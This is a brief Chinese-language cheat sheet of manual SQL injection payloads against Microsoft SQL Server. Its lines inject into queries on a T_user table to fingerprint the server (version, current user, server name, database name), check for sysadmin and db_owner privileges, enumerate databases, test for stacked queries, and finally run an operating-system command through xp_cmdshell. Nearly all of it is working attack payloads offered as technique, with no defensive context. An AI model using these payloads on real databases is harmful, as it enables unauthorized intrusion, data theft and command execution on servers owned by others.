mssql手工注入心的

select * from T_user where exists (select * from sysobjects) ;//判断是否存在sysobjects表，默认的

select * from T_user where exists (select * from T_user);//判断是否存在XX表

select * from T_user where 1=(@@version);//数据库版本号

select * from T_user where 1=(user_name());//获取当前用户

select * from T_user where 1=(@@servername);//获取当前服务器名称

select * from T_user where 1=user;//获取当前用户名

select * from T_user where 1=(@@spid);//当前mssql的进程id

select * from T_user where 1=(db_name());//获取当前数据库名称

select * from T_user where 1=(is_srvrolemember('sysadmin'));//是否是sysadmin

select * from T_user where 1=(is_member('db_owner'));//是否是数据库拥有者

select * from T_user where 1=(has_dbaccess('master'));//是否拥有数据库读写权限

select * from T_user where 1=(select filename from master.dbo.sysdatabases where dbid=5 ); //查询服务器上的所有数据库，根据数据库的dbid

select * from master.dbo.sysdatabases;//查询主库

select * from T_user where 1=1;declare @d int ;//是否支持多行查询

select * from T_user where 1=1;execute master.dbo.xp_cmdshell 'tree C:\';